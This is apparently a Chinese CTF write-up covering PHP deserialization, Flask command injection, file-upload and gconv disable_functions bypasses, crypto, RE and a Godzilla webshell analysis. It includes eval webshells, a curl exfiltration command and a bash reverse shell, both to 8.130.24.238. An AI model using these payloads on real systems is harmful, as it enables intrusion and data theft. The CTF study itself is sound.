
题目源码如下
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}
将传入的参数cmd用反序列化函数进行处理,如果传入的对象是由fin类生成那么调用fin里的destuct()。函数中的echo输出流可控,尝试调用what类的toString方法,逐渐构造出pop链。
fin.__destruct => what.__toString => fin.run => crow.__invoke => fin.__call() =>mix.get_flag()
这里虽然fin类当中只有一个变量,但可以声明多个对象指向该类,从而实现利用链的构造。
payload如下
class crow
{
public $v1;
}
class fin
{
public $f1;
}
class what
{
public $a;
}
class mix
{
public $m1='?>=eval($_POST[1]);';
}
$fin = new fin();
$b = new what();
$fin2 = new fin();
$c = new crow();
$fin3 = new fin();
$d = new mix();
$fin->f1 = $b;
$b->a = $fin2;
$fin2->f1 = $c;
$c->v1 = $fin3;
$fin3->f1 = $d;
echo serialize($fin);
使用postman发包执行shell命令
calcapp.py代码
coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time
app=Flask(__name__)
def waf(s):
blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag= False
print(no)
break
return flag
@app.route("/")
def index():
"欢迎来到SUctf2022"
return render_template("index.html")
@app.route("/calc",methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"
if __name__ == "__main__":
app.run(host='0.0.0.0',port=5000)
看起来eval和os.system函数两处都可以实现命令执行
但实际上即使将上面的payload转为十六进制编码,也无法执行命令,可能是因为request.values.get(“num”)后进行了转义,导致十六进制代码无法执行。
这里利用字符串逃逸,进入os.system函数中执行。
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
这里通过#注释的方法使得eval函数正常执行,利用反引号`进行命令执行
/calc?num=123#`curl -X GET -F A=@tmp/log.txt 8.130.24.238:9999`#`cat /flag`
将上面代码的空格和#替换为unicode,即可绕过waf。
upgdstore构造php文件上传,并访问
base64_decode("c2hvd19zb3VyY2U=")("/var/www/html/index.php");
查看到index.php的源码如下
<div class="light"><span class="glow">
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
嘿伙计,传个火?!
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="upload"/>
</form>
</span><span class="flare"></span><div>
<?php
function fun($var): bool{
$blacklist = ["$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
foreach($blacklist as $blackword){
if(strstr($var, $blackword)) return True;
}
return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}
$content = file_get_contents($temp_file);
if(fun($content)){
die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
$img_path = UPLOAD_PATH . '/' . $new_file_name;
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = 'Upload Failed!';
die();
}
echo ''.$msg." Look here~ ".$img_path."";
}
这里有file_get_contents函数,同样的思路利用编码后的filter协议读取一句话木马
写入一句话木马,将其转为base64形式
eval($_REQUEST[1]);?>
上传得到文件路径,655f7bf4bd05f2ade4d79f3e19e2d9fe.php
php://filter/convert.base64-decode/resource=655f7bf4bd05f2ade4d79f3e19e2d9fe.php
Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT02NTVmN2JmNGJkMDVmMmFkZTRkNzlmM2UxOWUyZDlmZS5waHA="));
访问该文件即可,访问可以发现system函数调用失败
需要bypass disable_functions
准备上传文件的html和php代码,php代码需要base64处理后上传
<form enctype="multipart/form-data" method="post" action="http://2eddea50-6a10-4c27-82c5-2c3c3a79efcb.node4.buuoj.cn:81/uploads/33a35ae4a5af682c7a5d1508ce179a43.php">
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="upload"/>
form>
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
move_uploaded_file($temp_file, "/tmp/exp.so");
}
利用上面的php代码上传文件gconv_module和exp.so
module EXP// INTERNAL ../../../../../../../../tmp/exp 2
module INTERNAL EXP// ../../../../../../../../tmp/exp 2
编写exp.so,并使用gcc编译gcc exp.c -o exp.so -shared -fPIC
#include
#include
void gconv() {}
void gconv_init() {
system("bash -c 'exec bash -i &>/dev/tcp/8.130.24.238/6666 <&1'");
}
利用刚才的一句话木马利用传上去的exp.so
putenv("GCONV_PATH=/tmp/");include('php://filter/read=convert.iconv.exp.utf-8/resource=/tmp/exp.so');
不知道为什么报错,仔细想也不知道是哪一步有问题
Crypto给出源码
from secret import flag
import random
# flag = b'flag{%s}' % md5(something).hexdigest()
# note that md5 only have characters 'abcdef' and digits
def Flower(x, key):
flower = random.randint(0, 4096)
return x * (key ** 3 + flower)
flag = flag[5:-1]
rounds = len(flag)
L, R = 1, 0
for i in range(rounds):
L, R = R + Flower(L, flag[i]), L
print(L, R)
'''
L=15720197268945348388429429351303006925387388927292304717594511259390194100850889852747653387197205392431053069043632340374252629529419776874410817927770922310808632581666181899
R=139721425176294317602347104909475448503147767726747922243703132013053043430193232376860554749633894589164137720010858254771905261753520854314908256431590570426632742469003
'''
容易得出原来的R等于当前的L取R的余数
而接下来只需要获得key的值,也就是flag的值就可以了。
虽然添加了随机数flower,但是L本身的数据值非常大,在开方计算中忽略不计。
import gmpy2
L=15720197268945348388429429351303006925387388927292304717594511259390194100850889852747653387197205392431053069043632340374252629529419776874410817927770922310808632581666181899
R=139721425176294317602347104909475448503147767726747922243703132013053043430193232376860554749633894589164137720010858254771905261753520854314908256431590570426632742469003
flag = ""
while L!=1:
Rt = L%R
t = (L-R)//R
key = gmpy2.iroot(t,3)[0]
flag += chr(key)
L = R
R = Rt
print(flag[::-1])
Re
easyre
下载exe文件,拖到ollydbg里直接脱壳
拖进ida进行分析,发现可疑点
这里有right字符,f5进去查看,容易发现此处是字符匹配,相等则退出
现在只需要拿到这个字符串的值即可。
MiSC Au5t1n的秘密搜索字符串,得到含有base编码的http流,看到如下结果
这里是写入文件内容,将base编码的数据写入到文件流中,解码查看输入的内容。
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i $c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$payloadName='payload';
$key='093c1c388069b7e1';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
eval($payload);
echo encode(@run($data),$key);
}else{
if (stripos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
使用的哥斯拉生成木马攻击
导出didi.php文件,解密
key='093c1c3880609b7e1'
f=open("C:\Users\user\Downloads\didi2.php","rb").read()
for i in range(len(f)):
print(chr(f[i]^ord(key[i+1&15])),end='')
解出php代码,有乱码问题,无法读取。
欢迎分享,转载请注明来源:内存溢出
微信扫一扫
支付宝扫一扫
评论列表(0条)